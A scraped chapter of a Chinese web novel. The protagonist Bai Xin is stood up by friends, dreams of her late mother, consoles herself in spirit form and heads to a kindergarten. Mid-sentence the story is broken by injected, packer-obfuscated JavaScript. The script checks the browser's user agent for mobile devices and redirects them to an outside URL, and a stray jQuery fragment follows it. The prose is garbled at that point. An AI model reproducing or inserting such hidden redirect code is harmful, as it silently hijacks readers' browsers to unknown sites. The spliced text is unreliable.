45.沉默的幼儿园(十二)

作品:《灵魂引渡黑工记

    白心带着一肚子疑问上楼,站在左慈的家门口,伸出手敲了敲门。


    一伸手,白心就看见自己的手也被刚才那两袋沉重的垃圾勒出了几道痕,敲完,她抬起手臂来把手伸到鼻子底下,仔细嗅了嗅。


    鱼腥味。


    高姐在家杀鱼?白心放下手,皱了下眉,想起刚才垃圾袋里滴下来的红色的水。


    怪不得她的表情看起来跟已经在某润发杀了十年的鱼一样冰冷,白心笑一下,高姐说的话回荡在脑子里。


    没有人关心我。她说,你是第一个。


    只是邀请她吃个饭、帮她扔个垃圾而已,白心想,这就叫关心吗?


    换句话说,没有一个人请她吃过饭、帮她做随手扔垃圾这种唾手可得的小事吗?白心叹了口气,心想我要不是早死,估计老了也和她一样。


    这个世界对于精力旺盛的社交达人来说是easy版本,而对她们这种精力低下社交恐惧的边缘群体来说却是地狱级难度。从某种程度来说,她们也算是逆天而行,白心一直认为,自己能安全无恙、没有心理疾病地活在这个世界上已经是个奇迹了。


    这不,老天也看不下去,直接让她享年二十五岁了。


    白心盯着左慈家的大门发呆,好一会儿才意识到没人开门。


    嗯?她有些疑惑,又伸出手敲了敲。


    还是没人开门。


    不是说白天在家吗?白心想起早上左慈的话,觉得有些奇怪。


    手机震动,把白心从疑问中震醒,她掏出手机一看,白子涵终于回复了。


    白子涵:姐,我在度假山庄,怎么了?


    白心:……


    呵呵,她冷笑一声,好会享受啊。马上高三了还去度假,真是快哉快哉,白心无语中想,这舅舅舅妈把他宠成啥样了都,白子涵的成绩虽然本来就没什么下降空间可言,现在更是直接摆烂不玩了是吧?


    赵志雄有事,左慈不在家,现在连白子涵也没空,接下来不会徐珊也要放她鸽子了吧?


    下一秒,说曹操曹操到,白心的手机一震,上方跳出来徐珊的二次元头像。


    徐珊:抱歉,今晚我家来客人,可能没法和你一起喝咖啡了。


    白心:……


    啥意思?白心看着手机里的信息,心里无语凝噎到了极点。然而她还是保持了基本的社交礼仪,迅速打字回复道:没事,下次再约。


    她没有回复白子涵的消息,而是打开了和李婧的聊天框,打字编辑道:今天中午有空吗?想约你吃个午饭。


    我就不信了。白心站在楼道里,死死盯着手机。


    李婧很快回复:Hi白心,对不起,今天我要去拜访幼儿园的同事,明天怎么样?


    白心:……


    好好好,白心气笑了,没看黄历,今日不宜出门。她迅速转身,毫不犹豫地就往楼上走,感到无语的同时心里竟然一轻,像有块大石头忽然从心底移开了。


    对一切安排妥当的高精力人士来说可能天塌了,但对白心来说塌得刚刚好。


    白心一口气窜回七楼,打开门把东西稀里哗啦全部放下就直奔洗手间。


    她打开水龙头,边洗手边想,正好,我就在家睡大觉!


    洗完手,她又跑到冰箱,拿出了一堆食材,准备给自己做饭吃。


    养精蓄锐,她一边快乐地切菜一边想,吃饱喝足睡好,晚上全力应付幼儿园的小孩,她想,这3000功德点我势必要拿下!


    白心还有一个特点,就是适应速度快。这也是她为何精力值低但心态健康的主要因素,主打的就是一个易碎但难杀,十分耐活。


    白心哼着歌,不一会儿就给自己捣鼓出了两盘色香味俱全的菜。她打开手机,点开动漫,坐在餐桌前大吃特吃了起来。


    吃完,随便收拾几下,刷了个牙洗了把脸就又往床上扑。


    趁着发饭晕,她把被子一盖就睡了起来。


    虽然对胃不好,但是也只能这样了。现在不睡,她就会坐在椅子上刷一整天手机直到没力气,或者打一整天游戏废寝忘食到比高考还努力,与其浪费时间在电子产品上,不如好好睡一觉修复自己的身体划算。


    而且,昨天打两份工的累还是没完全恢复,她的脑袋现在都还在隐隐作痛。


    白心闭着眼,感觉大脑开始放松,心想没关系,我就睡一会儿,不会打乱作息,大不了睡到晚上陈灵下班,到时候再被她叫醒也不迟。


    然而这一睡,就睡得不知天地为何物了。


    白心感觉自己越睡越沉,越睡越重,一个梦接着一个梦,生生不息,藤蔓一般互相缠绕,首尾相接,无穷无尽。


    她在各种各样的梦境里穿梭,每个梦里都有一张模糊的脸,轻轻地叫着她的名字。


    白心,白心。


    五彩斑斓的烟雾缭绕,那张脸藏在朦胧的雾里,直到最后一个梦,那张脸突然清晰,白心感觉到自己的心脏被狠狠挤压,难以呼吸,内心深处传来一阵钻心的痛,才猛地睁眼。


    两道月光穿过窗帘贴在了天花板上,白心大口呼吸,两道热泪同时从眼角流下。


    妈妈。


    她梦见了她。


    那个几乎十年未入过她的梦的女人,她的母亲。


    梦的最后是她在灵堂里,十五岁的她披着白布跪了一夜,浑身酸痛却一动不动,面无表情地跪在一口大棺材前。周围的亲戚睡的睡,看手机的看手机,只有她麻木地盯着前面的烛火,感到一阵风从背后吹过来,吹掉她头上的白布。


    那时的她不知道从哪里来的风,只是感觉到风很大,把她后背的头发都吹到了一起。


    然而在梦里,她看见母亲站在她的背后,半跪了下来,伸出手,轻轻把她的头发拢到了一起。


    妈妈在帮她扎头发。白心回过头去,看见她的母亲温柔笑着,轻轻叫着她的名字。


    白心。


    白心看着天花板的月光,内心忽然一阵难以忍受的痛苦,逼得她忍不住嚎啕大哭。


    大梦初醒,白心哭得像个三岁的小孩,而哭的原因竟然是梦见了母亲帮她扎头发。


    而妈妈从来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905848|189383||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有给她扎过头发。


    白心也不知道自己为什么哭,只是本能地感到一阵难受,心里没来由地疼痛,仿佛被人捅出了一个大洞,呼呼往外漏风。她一只手不断擦着眼泪,另一只手捂着胸口,大口喘气,像个溺水的人重见呼吸。


    缓了很久,她才终于逐渐平静下来。


    她的胸口不断起伏,那种极致的痛仍让她心有余悸。为什么?恢复理智也无法理解,为什么只是梦到母亲,就会觉得如此痛苦。


    是托梦吗?白心仍然看着天花板,想,她有听过,人死了之后是会托梦的。


    但是妈妈什么要求都没有。白心回忆起刚才的梦,她只是帮她扎了个头发。


    白心咽了口口水,缓缓坐起。眼泪干在了脸上,她感觉到喉咙里一阵干涸。


    手机就在旁边,白心拿起来看了一眼,很多消息。


    其中一条是陈灵的,说自己今晚有应酬,先不过来了。


    白心放下手机,双腿屈膝,两只手环绕住双腿,紧紧抱住了自己。


    下一秒,白光亮起,她的灵魂出体了。


    白心转了个身,看见自己的肉身坐在床上,蜷成很小一团,脸侧放在膝盖上,头发凌乱,双眼紧闭,脸上还有刚刚哭过的泪痕。


    别哭。白心伸出手,轻轻摸着自己的脸颊。


    她放下手,和自己面对面,跪坐在床上。随后从手腕上取下皮筋,转到自己身后坐着,轻轻地帮自己把头发扎好。


    然后,她张开了双手,大大地从背后拥抱住了自己。


    白心,你很棒。她用力但温柔地抱着自己,轻声说道,你现在已经可以给自己扎头发了。


    你没有成材,也没有发财,但是你乐观健康、心态良好、烦恼很少。你有小猫、有朋友,每天可以不饿肚子,独自住在五十平米的房间里,你很了不起。


    能够活到二十五岁,你已经很棒了。


    她抱着自己,刚刚因为梦见母亲而漏风的心里忽然被填满,一股孱弱却坚定的力量从心底油然而生。


    父亲会在她的童年缺席,母亲会突然消失在她的青春期,没有人参加她的成人礼,只有她自己。这二十五年来,这颗名为白心的心脏历经风吹雨打,依然茁壮成长了。


    白心,你真的很棒。


    白心用力地抱了一下自己,然后放开了双手,下床往大门走去。


    抬起手腕,零点十分。


    她穿过自家的大门,坚定地往下走。今天必须要知道小孩的执念是什么,白心想。


    白心走到楼下,和昨天一样戴好头盔,骑上机车,直奔蓝天幼儿园。


    零点的街道上仍然有零散的行人和车辆,白心骑着机车穿过人群和车流,像一道白色闪电,极速前往目的地。


    和她的人生一样,勇往直前,永不回头。


    白心停在幼儿园门口,左边依然是那颗香樟树,右边还是保安亭。


    只是今天有一点不一样。


    “白心。”钟槐站在门口,笑眯眯地看着她。


    “你好啊。”